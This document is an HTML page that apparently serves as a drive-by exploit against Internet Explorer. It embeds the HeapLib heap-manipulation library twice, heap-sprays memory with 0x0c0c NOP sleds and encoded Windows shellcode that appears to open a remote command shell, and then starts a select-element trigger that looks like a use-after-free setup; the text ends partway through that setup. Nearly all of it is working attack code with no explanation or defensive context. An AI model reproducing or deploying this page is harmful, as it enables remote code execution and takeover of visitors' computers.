    <html>
    <head>
    <script language='javascript'>
    //
//   JavaScript Heap Exploitation library
//   by Alexander Sotirov <asotirov@determina.com>
//  
//   Version 0.3
//
// Copyright (c) 2007, Alexander Sotirov
// All rights reserved.
// 
// The HeapLib library is licensed under a BSD license, the text of which follows:
// 
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
// 
// 1. Redistributions of source code must retain the above copyright
//    notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright
//    notice, this list of conditions and the following disclaimer in the
//    documentation and/or other materials provided with the distribution.
// 3. Neither the name of Alexander Sotirov nor the name of Determina Inc.
//    may be used to endorse or promote products derived from this software
//    without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//
 
//
// heapLib namespace
//

function heapLib() {
}


//
// heapLib class
//

// heapLib.ie constructor
//
// Creates a new heapLib API object for Internet Explorer. The maxAlloc
// argument sets the maximum block size that can be allocated using the alloc()
// function.
//
// Arguments:
//    maxAlloc - maximum allocation size in bytes (defaults to 65535)
//    heapBase - base of the default process heap (defaults to 0x150000)
//

heapLib.ie = function(maxAlloc, heapBase) {

    this.maxAlloc = (maxAlloc ? maxAlloc : 65535);
    this.heapBase = (heapBase ? heapBase : 0x150000);

    // Allocate a padding string that uses maxAlloc bytes
    this.paddingStr = "AAAA";

    while (4 + this.paddingStr.length*2 + 2 < this.maxAlloc) {
        this.paddingStr += this.paddingStr;
    }
    
    // Create an array for storing references to allocated memory
    this.mem = new Array();

    // Call flushOleaut32() once to allocate the maximum size blocks
    this.flushOleaut32();
}


//
// Outputs a debugging message in WinDbg. The msg argument must be a string
// literal. Using string concatenation to build the message will result in heap
// allocations.
//
// Arguments:
//    msg - string to output
//

heapLib.ie.prototype.debug = function(msg) {
    void(Math.atan2(0xbabe, msg));
}


//
// Enables or disables logging of heap operations in WinDbg.
//
// Arguments:
//    enable - a boolean value, set to true to enable heap logging
//

heapLib.ie.prototype.debugHeap = function(enable) {

    if (enable == true)
        void(Math.atan(0xbabe));
    else
        void(Math.asin(0xbabe));
}


//
// Triggers a breakpoint in the debugger.
//

heapLib.ie.prototype.debugBreak = function(msg) {
    void(Math.acos(0xbabe));
}


//
// Returns a string of a specified length, up to the maximum allocation size
// set in the heapLib.ie constructor. The string contains "A" characters.
//
// Arguments:
//    len - length in characters
//

heapLib.ie.prototype.padding = function(len) {
    if (len > this.paddingStr.length)
        throw "Requested padding string length " + len + ", only " + this.paddingStr.length + " available";

    return this.paddingStr.substr(0, len);
}


//
// Returns a number rounded up to a specified value.
//
// Arguments:
//    num   - integer to round
//    round - value to round to
//

heapLib.ie.prototype.round = function(num, round) {
    if (round == 0)
        throw "Round argument cannot be 0";

    return parseInt((num + (round-1)) / round) * round;
}


//
// Converts an integer to a hex string. This function uses the heap.
//
// Arguments:
//    num   - integer to convert
//    width - pad the output with zeros to a specified width (optional)
//

heapLib.ie.prototype.hex = function(num, width)
{
    var digits = "0123456789ABCDEF";

    var hex = digits.substr(num & 0xF, 1);

    while (num > 0xF) {
        num = num >>> 4;
        hex = digits.substr(num & 0xF, 1) + hex;
    }

    var width = (width ? width : 0);

    while (hex.length < width)
        hex = "0" + hex;

    return hex;
}


//
// Convert a 32-bit address to a 4-byte string with the same representation in
// memory. This function uses the heap.
//
// Arguments:
//    addr - integer representation of the address
//

heapLib.ie.prototype.addr = function(addr) {
    return unescape("%u" + this.hex(addr & 0xFFFF, 4) + "%u" + this.hex((addr >> 16) & 0xFFFF, 4));
}


//
// Allocates a block of a specified size with the OLEAUT32 alloc function.
//
// Arguments:
//    arg - size of the new block in bytes, or a string to strdup
//    tag - a tag identifying the memory block (optional)
//

heapLib.ie.prototype.allocOleaut32 = function(arg, tag) {

    var size;

    // Calculate the allocation size
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
    else
        size = arg;

    // Make sure that the size is valid
    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";

    // Create an array for this tag if doesn't already exist
    if (this.mem[tag] === undefined)
        this.mem[tag] = new Array();

    if (typeof arg == "string" || arg instanceof String) {
        // Allocate a new block with strdup of the string argument
        this.mem[tag].push(arg.substr(0, arg.length));
    }
    else {
        // Allocate the block
        this.mem[tag].push(this.padding((arg-6)/2));
    }
}


//
// Frees all memory blocks marked with a specific tag with the OLEAUT32 memory
// allocator.
//
// Arguments:
//    tag - a tag identifying the group of blocks to be freed
//

heapLib.ie.prototype.freeOleaut32 = function(tag) {

    delete this.mem[tag];
    
    // Run the garbage collector
    CollectGarbage();
}


//
// The JScript interpreter uses the OLEAUT32 memory allocator for all string
// allocations. This allocator stores freed blocks in a cache and reuses them
// for later allocations. The cache consists of 4 bins, each storing up to 6
// blocks. Each bin holds blocks of a certain size range:
//
//    0 - 32
//    33 - 64
//    65 - 256
//    257 - 32768
//
// When a block is freed by the OLEAUT32 free function, it is stored in one of
// the bins. If the bin is full, the smallest block in the bin is freed with
// RtlFreeHeap() and is replaced with the new block. Chunks larger than 32768
// bytes are not cached and are freed directly.
//
// To flush the cache, we need to free 6 blocks of the maximum size for each
// bin. The maximum size blocks will push out all smaller blocks from the
// cache. Then we allocate the maximum size blocks again, leaving the cache
// empty.
//
// You need to call this function once to allocate the maximum size blocks
// before you can use it to flush the cache.
//

heapLib.ie.prototype.flushOleaut32 = function() {

    this.debug("Flushing the OLEAUT32 cache");

    // Free the maximum size blocks and push out all smaller blocks

    this.freeOleaut32("oleaut32");
    
    // Allocate the maximum sized blocks again, emptying the cache

    for (var i = 0; i < 6; i++) {
        this.allocOleaut32(32, "oleaut32");
        this.allocOleaut32(64, "oleaut32");
        this.allocOleaut32(256, "oleaut32");
        this.allocOleaut32(32768, "oleaut32");
    }
}


//
// Allocates a block of a specified size with the system memory allocator. A
// call to this function is equivalent to a call to HeapAlloc(). If the first
// argument is a number, it specifies the size of the new block, which is
// filled with "A" characters. If the argument is a string, its data is copied
// into a new block of size arg.length * 2 + 6. In both cases the size of the
// new block must be a multiple of 16 and not equal to 32, 64, 256 or 32768.
//
// Arguments:
//    arg - size of the memory block in bytes, or a string to strdup
//    tag - a tag identifying the memory block (optional)
//

heapLib.ie.prototype.alloc = function(arg, tag) {

    var size;

    // Calculate the allocation size
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
    else
        size = arg;

    // Make sure that the size is valid
    if (size == 32 || size == 64 || size == 256 || size == 32768)
        throw "Allocation sizes " + size + " cannot be flushed out of the OLEAUT32 cache";

    // Allocate the block with the OLEAUT32 allocator
    this.allocOleaut32(arg, tag);
}


//
// Frees all memory blocks marked with a specific tag with the system memory
// allocator. A call to this function is equivalent to a call to HeapFree().
//
// Arguments:
//    tag - a tag identifying the group of blocks to be freed
//

heapLib.ie.prototype.free = function(tag) {

    // Free the blocks with the OLEAUT32 free function
    this.freeOleaut32(tag);

    // Flush the OLEAUT32 cache
    this.flushOleaut32();
}


//
// Runs the garbage collector and flushes the OLEAUT32 cache. Call this
// function before before using alloc() and free().
//

heapLib.ie.prototype.gc = function() {

    this.debug("Running the garbage collector");
    CollectGarbage();

    this.flushOleaut32();
}


//
// Adds blocks of the specified size to the free list and makes sure they are
// not coalesced. The heap must be defragmented before calling this function.
// If the size of the memory blocks is less than 1024, you have to make sure
// that the lookaside is full.
//
// Arguments:
//    arg    - size of the new block in bytes, or a string to strdup
//    count  - how many free blocks to add to the list (defaults to 1)
//

heapLib.ie.prototype.freeList = function(arg, count) {

    var count = (count ? count : 1);

    for (var i = 0; i < count; i++) {
        this.alloc(arg);
        this.alloc(arg, "freeList");
    }
    this.alloc(arg);

    this.free("freeList");
}


//
// Add blocks of the specified size to the lookaside. The lookaside must be
// empty before calling this function.
//
// Arguments:
//    arg    - size of the new block in bytes, or a string to strdup
//    count  - how many blocks to add to the lookaside (defaults to 1)
//

heapLib.ie.prototype.lookaside = function(arg, count) {

    var size;

    // Calculate the allocation size
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
    else
        size = arg;

    // Make sure that the size is valid
    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";

    if (size+8 >= 1024)
        throw("Maximum lookaside block size is 1008 bytes");

    var count = (count ? count : 1);

    for (var i = 0; i < count; i++)
        this.alloc(arg, "lookaside");

    this.free("lookaside");
}


//
// Return the address of the head of the lookaside linked list for blocks of a
// specified size. Uses the heapBase parameter from the heapLib.ie constructor.
//
// Arguments:
//    arg - size of the new block in bytes, or a string to strdup
//

heapLib.ie.prototype.lookasideAddr = function(arg)
{
    var size;

    // Calculate the allocation size
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
    else
        size = arg;

    // Make sure that the size is valid
    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";

    if (size+8 >= 1024)
        throw("Maximum lookaside block size is 1008 bytes");

    // The lookahead array starts at heapBase + 0x688. It contains a 48 byte
    // structure for each block size + header size in 8 byte increments.

    return this.heapBase + 0x688 + ((size+8)/8)*48;
}


//
// Returns a fake vtable that contains shellcode. The caller should free the
// vtable to the lookaside and use the address of the lookaside head as an
// object pointer. When the vtable is used, the address of the object must be
// in eax and the pointer to the vtable must be in ecx. Any virtual function
// call through the vtable from ecx+8 to ecx+0x80 will result in shellcode
// execution. This function uses the heap.
//
// Arguments:
//    shellcode - shellcode string
//    jmpecx    - address of a jmp ecx or equivalent instruction
//    size      - size of the vtable to generate (defaults to 1008 bytes)
//

heapLib.ie.prototype.vtable = function(shellcode, jmpecx, size) {

    var size = (size ? size : 1008);

    // Make sure the size is valid
    if ((size & 0xf) != 0)
        throw "Vtable size " + size + " must be a multiple of 16";

    if (shellcode.length*2 > size-138)
        throw("Maximum shellcode length is " + (size-138) + " bytes");

    // Build the fake vtable that will go on the lookaside list
    //
    // lookaside ptr  jmp +124  addr of jmp ecx  sub [eax], al*2  shellcode       null
    // 4 bytes        4 bytes   124 bytes        4 bytes          size-138 bytes  2 bytes

    var vtable = unescape("%u9090%u7ceb")   // nop, nop, jmp + 124

    for (var i = 0; i < 124/4; i++)
        vtable += this.addr(jmpecx);

    // If the vtable is the only entry on the lookaside, the first 4 bytes will
    // be 00 00 00 00, which disassembles as two add [eax], al instructions.
    // The jmp ecx trampoline will jump back to the beginning of the vtable and
    // execute the add [eax], al instructions. We need to use two sub [eax], al
    // instructions to fix the heap.

    vtable += unescape("%u0028%u0028") +    // two sub [eax], al instructions
              shellcode + heap.padding((size-138)/2 - shellcode.length);

    return vtable;
}

    var heap_obj = new heapLib.ie(0x10000);

    var code = unescape("%ud329%u73e3%u3934%u3df5%u3597%ub343%u24b4%u83be%ua9d6%u6771%u74b9%u2b04%u14d5%ubb0c%u2cb7%u377d%ue011%u9949%u417e%u2d15%ud408%ua81d%u0d4b%ub098%u9247%ufc32%ue300%u0973%u40eb%u91b1%u3fbe%u43a9%u92b9%ufc0a%u67bb%uba15%u720c%u427f%u47b6%u312d%u71f9%u747c%u660d%u84b5%u7ef5%u9035%u77b3%ue13a%u377d%u1d7b%u9f8d%u46bf%ufd03%u8514%u97f8%u75b4%u1b24%ub0d4%u4e04%u4a78%u301c%u25e0%u76b2%ud50b%u4f70%ua83d%u2734%u05b8%u3cb7%u482c%u4b79%u6999%u93d6%u229b%ue2f7%u7a2f%u4941%u9698%u9f25%u2f37%u1305%ue1d0%u347e%uff81%uc1c6%u7ce3%u404a%u7471%ub53f%u761d%u7a70%ud52a%ub09b%ub9ba%u4b7b%ua8a9%u97b4%u80b8%u7dd6%ufc6b%u7372%uf918%u66bb%ufd3b%ueb01%u483d%ue028%ud221%u3ce2%ub21c%u918d%u3567%u9647%u42b7%ub3b6%u7824%u7f4f%uf523%u2d79%u4399%u4977%u2c4e%u93be%u04bf%u900c%u4627%u7598%ud410%u92b1%u3814%u0df8%u4115%u7d75%u0574%u9fbf%ueb20%u7076%u1d7b%u2d9b%u898d%u42e0%u4772%ue288%u7977%u1527%u9997%u732f%u7e40%u1c7a%uf533%u1298%u92d5%ub766%u014e%u41e3%ua9b4%ubb0d%ud41a%u0478%u4f7f%u0ab1%ue1f7%u6948%u3bfc%u3cf9%u14be%ua8b9%u253d%uba46%ub891%u0cb5%u3f37%u9343%u6790%u2496%ub3b2%u714a%u2c4b%u38b6%ufdc0%ub035%uf812%u3449%ud187%u7cd6%ufe20%ue1c1%u7f48%ub424%u35b9%ufc3a%u7e8d%u497d%u983d%u7791%u7974%u3c66%ub390%u4670%u9fb6%ue286%ubf04%u054f%u8c4b%u2fe3%u0c42%u477a%u2d3f%ue002%u674e%u4171%ud42b%u33b2%ub1f5%ua914%u401c%u10bb%u27eb%u80a8%ub7fd%u7cb5%u1d72%u9396%u7873%ud508%u7625%ud628%u99b8%u0b34%uf9d3%uf888%u9792%u9b37%u1543%ub00d%u4a75%ubabe%u2c7b%ue22a%u797e%u047b%u839f%u03eb%u75d5%u7135%u2515%u7a7f%u7270%u4867%ub3b0%ub63f%ub1a9%u1977%u11e0%u89f8%u74e3%u4f2d%u96b2%u144a%ube0d%u3790%u4649%u7d40%u0c78%ud41a%ubab7%u4792%u1db5%u982c%u7c2f%ue131%u4e76%u324b%u97f5%ubf1c%u9b99%u73a8%ub443%ud21b%ub8fd%u66b9%ueb21%u8434%u42e3%u3d7c%u2477%u297a%u09e0%u85d6%ubbf9%u0072%ufcd0%u057f%u7893%ue130%u7441%u8d3c%u7591%u8127%ue2f6%u982d%u397e%u79f5%u4e04%u3c7b%u71b3%u6b0c%u42f8%ubb25%u9214%u4a43%ufc13%u1573%ub666%u7697%ud423%ub0b1%u9f41%u7d37%ub91c%u3f8d%u1d70%u2c46%ub74f%u9924%ub247%u3448%u4940%u0d93%ub4a8%uf93d%u2fb5%u9635%u9bbe%ud5b8%u2767%ua991%u90bf%u4bba%u1805%u22d6%ufcfd%u89e8%u0000%u6000%ue589%ud231%u8b64%u3052%u528b%u8b0c%u1452%u728b%u0f28%u4ab7%u3126%u31ff%uacc0%u613c%u027c%u202c%ucfc1%u010d%ue2c7%u52f0%u8b57%u1052%u428b%u013c%u8bd0%u7840%uc085%u4a74%ud001%u8b50%u1848%u588b%u0120%ue3d3%u493c%u348b%u018b%u31d6%u31ff%uacc0%ucfc1%u010d%u38c7%u75e0%u03f4%uf87d%u7d3b%u7524%u58e2%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u58e0%u5a5f%u128b%u86eb%u685d%u3233%u0000%u7768%u3273%u545f%u4c68%u2677%uff07%ub8d5%u0190%u0000%uc429%u5054%u2968%u6b80%uff00%u50d5%u5050%u4050%u4050%u6850%u0fea%ue0df%ud5ff%uc789%udb31%u6853%u0002%u5c11%ue689%u106a%u5756%uc268%u37db%uff67%u53d5%u6857%ue9b7%uff38%ud5ff%u5353%u6857%uec74%ue13b%ud5ff%u8957%u68c7%u6e75%u614d%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff");
    var nops = unescape("%u0c0c%u0c0c");

    while (nops.length < 0x1000) nops+= nops;
    var shellcode =  nops.substring(0,0x800 - code.length) + code;
    while (shellcode.length < 0x40000) shellcode += shellcode;

    var block = shellcode.substring(0, (0x80000-6)/2);

    heap_obj.gc();
    for (var i=0; i < 600; i++) {
      heap_obj.alloc(block);
    }


    </script>

    <script language='javascript'>
      //
//   JavaScript Heap Exploitation library
//   by Alexander Sotirov <asotirov@determina.com>
//  
//   Version 0.3
//
// Copyright (c) 2007, Alexander Sotirov
// All rights reserved.
// 
// The HeapLib library is licensed under a BSD license, the text of which follows:
// 
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
// 
// 1. Redistributions of source code must retain the above copyright
//    notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright
//    notice, this list of conditions and the following disclaimer in the
//    documentation and/or other materials provided with the distribution.
// 3. Neither the name of Alexander Sotirov nor the name of Determina Inc.
//    may be used to endorse or promote products derived from this software
//    without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//
 
//
// heapLib namespace
//

function heapLib() {
}


//
// heapLib class
//

// heapLib.ie constructor
//
// Creates a new heapLib API object for Internet Explorer. The maxAlloc
// argument sets the maximum block size that can be allocated using the alloc()
// function.
//
// Arguments:
//    maxAlloc - maximum allocation size in bytes (defaults to 65535)
//    heapBase - base of the default process heap (defaults to 0x150000)
//

heapLib.ie = function(maxAlloc, heapBase) {

    this.maxAlloc = (maxAlloc ? maxAlloc : 65535);
    this.heapBase = (heapBase ? heapBase : 0x150000);

    // Allocate a padding string that uses maxAlloc bytes
    this.paddingStr = "AAAA";

    while (4 + this.paddingStr.length*2 + 2 < this.maxAlloc) {
        this.paddingStr += this.paddingStr;
    }
    
    // Create an array for storing references to allocated memory
    this.mem = new Array();

    // Call flushOleaut32() once to allocate the maximum size blocks
    this.flushOleaut32();
}


//
// Outputs a debugging message in WinDbg. The msg argument must be a string
// literal. Using string concatenation to build the message will result in heap
// allocations.
//
// Arguments:
//    msg - string to output
//

heapLib.ie.prototype.debug = function(msg) {
    void(Math.atan2(0xbabe, msg));
}


//
// Enables or disables logging of heap operations in WinDbg.
//
// Arguments:
//    enable - a boolean value, set to true to enable heap logging
//

heapLib.ie.prototype.debugHeap = function(enable) {

    if (enable == true)
        void(Math.atan(0xbabe));
    else
        void(Math.asin(0xbabe));
}


//
// Triggers a breakpoint in the debugger.
//

heapLib.ie.prototype.debugBreak = function(msg) {
    void(Math.acos(0xbabe));
}


//
// Returns a string of a specified length, up to the maximum allocation size
// set in the heapLib.ie constructor. The string contains "A" characters.
//
// Arguments:
//    len - length in characters
//

heapLib.ie.prototype.padding = function(len) {
    if (len > this.paddingStr.length)
        throw "Requested padding string length " + len + ", only " + this.paddingStr.length + " available";

    return this.paddingStr.substr(0, len);
}


//
// Returns a number rounded up to a specified value.
//
// Arguments:
//    num   - integer to round
//    round - value to round to
//

heapLib.ie.prototype.round = function(num, round) {
    if (round == 0)
        throw "Round argument cannot be 0";

    return parseInt((num + (round-1)) / round) * round;
}


//
// Converts an integer to a hex string. This function uses the heap.
//
// Arguments:
//    num   - integer to convert
//    width - pad the output with zeros to a specified width (optional)
//

heapLib.ie.prototype.hex = function(num, width)
{
    var digits = "0123456789ABCDEF";

    var hex = digits.substr(num & 0xF, 1);

    while (num > 0xF) {
        num = num >>> 4;
        hex = digits.substr(num & 0xF, 1) + hex;
    }

    var width = (width ? width : 0);

    while (hex.length < width)
        hex = "0" + hex;

    return hex;
}


//
// Convert a 32-bit address to a 4-byte string with the same representation in
// memory. This function uses the heap.
//
// Arguments:
//    addr - integer representation of the address
//

heapLib.ie.prototype.addr = function(addr) {
    return unescape("%u" + this.hex(addr & 0xFFFF, 4) + "%u" + this.hex((addr >> 16) & 0xFFFF, 4));
}


//
// Allocates a block of a specified size with the OLEAUT32 alloc function.
//
// Arguments:
//    arg - size of the new block in bytes, or a string to strdup
//    tag - a tag identifying the memory block (optional)
//

heapLib.ie.prototype.allocOleaut32 = function(arg, tag) {

    var size;

    // Calculate the allocation size
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
    else
        size = arg;

    // Make sure that the size is valid
    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";

    // Create an array for this tag if doesn't already exist
    if (this.mem[tag] === undefined)
        this.mem[tag] = new Array();

    if (typeof arg == "string" || arg instanceof String) {
        // Allocate a new block with strdup of the string argument
        this.mem[tag].push(arg.substr(0, arg.length));
    }
    else {
        // Allocate the block
        this.mem[tag].push(this.padding((arg-6)/2));
    }
}


//
// Frees all memory blocks marked with a specific tag with the OLEAUT32 memory
// allocator.
//
// Arguments:
//    tag - a tag identifying the group of blocks to be freed
//

heapLib.ie.prototype.freeOleaut32 = function(tag) {

    delete this.mem[tag];
    
    // Run the garbage collector
    CollectGarbage();
}


//
// The JScript interpreter uses the OLEAUT32 memory allocator for all string
// allocations. This allocator stores freed blocks in a cache and reuses them
// for later allocations. The cache consists of 4 bins, each storing up to 6
// blocks. Each bin holds blocks of a certain size range:
//
//    0 - 32
//    33 - 64
//    65 - 256
//    257 - 32768
//
// When a block is freed by the OLEAUT32 free function, it is stored in one of
// the bins. If the bin is full, the smallest block in the bin is freed with
// RtlFreeHeap() and is replaced with the new block. Chunks larger than 32768
// bytes are not cached and are freed directly.
//
// To flush the cache, we need to free 6 blocks of the maximum size for each
// bin. The maximum size blocks will push out all smaller blocks from the
// cache. Then we allocate the maximum size blocks again, leaving the cache
// empty.
//
// You need to call this function once to allocate the maximum size blocks
// before you can use it to flush the cache.
//

heapLib.ie.prototype.flushOleaut32 = function() {

    this.debug("Flushing the OLEAUT32 cache");

    // Free the maximum size blocks and push out all smaller blocks

    this.freeOleaut32("oleaut32");
    
    // Allocate the maximum sized blocks again, emptying the cache

    for (var i = 0; i < 6; i++) {
        this.allocOleaut32(32, "oleaut32");
        this.allocOleaut32(64, "oleaut32");
        this.allocOleaut32(256, "oleaut32");
        this.allocOleaut32(32768, "oleaut32");
    }
}


//
// Allocates a block of a specified size with the system memory allocator. A
// call to this function is equivalent to a call to HeapAlloc(). If the first
// argument is a number, it specifies the size of the new block, which is
// filled with "A" characters. If the argument is a string, its data is copied
// into a new block of size arg.length * 2 + 6. In both cases the size of the
// new block must be a multiple of 16 and not equal to 32, 64, 256 or 32768.
//
// Arguments:
//    arg - size of the memory block in bytes, or a string to strdup
//    tag - a tag identifying the memory block (optional)
//

heapLib.ie.prototype.alloc = function(arg, tag) {

    var size;

    // Calculate the allocation size
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
    else
        size = arg;

    // Make sure that the size is valid
    if (size == 32 || size == 64 || size == 256 || size == 32768)
        throw "Allocation sizes " + size + " cannot be flushed out of the OLEAUT32 cache";

    // Allocate the block with the OLEAUT32 allocator
    this.allocOleaut32(arg, tag);
}


//
// Frees all memory blocks marked with a specific tag with the system memory
// allocator. A call to this function is equivalent to a call to HeapFree().
//
// Arguments:
//    tag - a tag identifying the group of blocks to be freed
//

heapLib.ie.prototype.free = function(tag) {

    // Free the blocks with the OLEAUT32 free function
    this.freeOleaut32(tag);

    // Flush the OLEAUT32 cache
    this.flushOleaut32();
}


//
// Runs the garbage collector and flushes the OLEAUT32 cache. Call this
// function before before using alloc() and free().
//

heapLib.ie.prototype.gc = function() {

    this.debug("Running the garbage collector");
    CollectGarbage();

    this.flushOleaut32();
}


//
// Adds blocks of the specified size to the free list and makes sure they are
// not coalesced. The heap must be defragmented before calling this function.
// If the size of the memory blocks is less than 1024, you have to make sure
// that the lookaside is full.
//
// Arguments:
//    arg    - size of the new block in bytes, or a string to strdup
//    count  - how many free blocks to add to the list (defaults to 1)
//

heapLib.ie.prototype.freeList = function(arg, count) {

    var count = (count ? count : 1);

    for (var i = 0; i < count; i++) {
        this.alloc(arg);
        this.alloc(arg, "freeList");
    }
    this.alloc(arg);

    this.free("freeList");
}


//
// Add blocks of the specified size to the lookaside. The lookaside must be
// empty before calling this function.
//
// Arguments:
//    arg    - size of the new block in bytes, or a string to strdup
//    count  - how many blocks to add to the lookaside (defaults to 1)
//

heapLib.ie.prototype.lookaside = function(arg, count) {

    var size;

    // Calculate the allocation size
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
    else
        size = arg;

    // Make sure that the size is valid
    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";

    if (size+8 >= 1024)
        throw("Maximum lookaside block size is 1008 bytes");

    var count = (count ? count : 1);

    for (var i = 0; i < count; i++)
        this.alloc(arg, "lookaside");

    this.free("lookaside");
}


//
// Return the address of the head of the lookaside linked list for blocks of a
// specified size. Uses the heapBase parameter from the heapLib.ie constructor.
//
// Arguments:
//    arg - size of the new block in bytes, or a string to strdup
//

heapLib.ie.prototype.lookasideAddr = function(arg)
{
    var size;

    // Calculate the allocation size
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
    else
        size = arg;

    // Make sure that the size is valid
    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";

    if (size+8 >= 1024)
        throw("Maximum lookaside block size is 1008 bytes");

    // The lookahead array starts at heapBase + 0x688. It contains a 48 byte
    // structure for each block size + header size in 8 byte increments.

    return this.heapBase + 0x688 + ((size+8)/8)*48;
}


//
// Returns a fake vtable that contains shellcode. The caller should free the
// vtable to the lookaside and use the address of the lookaside head as an
// object pointer. When the vtable is used, the address of the object must be
// in eax and the pointer to the vtable must be in ecx. Any virtual function
// call through the vtable from ecx+8 to ecx+0x80 will result in shellcode
// execution. This function uses the heap.
//
// Arguments:
//    shellcode - shellcode string
//    jmpecx    - address of a jmp ecx or equivalent instruction
//    size      - size of the vtable to generate (defaults to 1008 bytes)
//

heapLib.ie.prototype.vtable = function(shellcode, jmpecx, size) {

    var size = (size ? size : 1008);

    // Make sure the size is valid
    if ((size & 0xf) != 0)
        throw "Vtable size " + size + " must be a multiple of 16";

    if (shellcode.length*2 > size-138)
        throw("Maximum shellcode length is " + (size-138) + " bytes");

    // Build the fake vtable that will go on the lookaside list
    //
    // lookaside ptr  jmp +124  addr of jmp ecx  sub [eax], al*2  shellcode       null
    // 4 bytes        4 bytes   124 bytes        4 bytes          size-138 bytes  2 bytes

    var vtable = unescape("%u9090%u7ceb")   // nop, nop, jmp + 124

    for (var i = 0; i < 124/4; i++)
        vtable += this.addr(jmpecx);

    // If the vtable is the only entry on the lookaside, the first 4 bytes will
    // be 00 00 00 00, which disassembles as two add [eax], al instructions.
    // The jmp ecx trampoline will jump back to the beginning of the vtable and
    // execute the add [eax], al instructions. We need to use two sub [eax], al
    // instructions to fix the heap.

    vtable += unescape("%u0028%u0028") +    // two sub [eax], al instructions
              shellcode + heap.padding((size-138)/2 - shellcode.length);

    return vtable;
}

      var heap = new heapLib.ie();
      var selob = document.createElement("select")
selob.w0 = unescape("%u0c0c%u0c0c")
selob.w1 = alert
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
